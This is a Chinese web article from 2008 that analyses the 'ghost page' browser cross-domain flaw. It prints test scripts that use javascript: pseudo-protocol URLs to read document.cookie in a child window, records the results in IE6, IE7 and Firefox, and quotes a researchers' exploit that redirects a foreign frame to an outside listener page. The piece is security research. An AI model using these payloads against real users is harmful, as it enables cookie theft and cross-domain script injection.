网站运营
位置:首页>> 网站运营>> 揭密鬼页 浅析浏览器跨域安全问题(2)

揭密鬼页 浅析浏览器跨域安全问题(2)

 来源:IT 专家网 发布时间:2008-10-07 18:11:00 

标签:安全,浏览器,javascript

3.域与域之间的牵绊

如果父页让子页访问某个域后,再执行伪协议会有什么效果?

用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果:

IE6:没有反应。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。

为了进一步验证,我们让子页打开同一个域里的页面测试:

用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:


<script>  
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true 
    x=window.open('about:blank'); 
    x.location="http://127.0.0.1" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:


javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1); 


  EXP按上面三部分的概念解释是:

父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。

鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。

我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。

用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com"; 
    setTimeout(function(){ 
        x.location=new String("javascript:alert(document.cookie)") 
    },5000) 
    </script>

IE6:弹出COOKIE。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。

0
投稿

猜你喜欢

手机版 网站运营 asp之家 www.aspxhome.com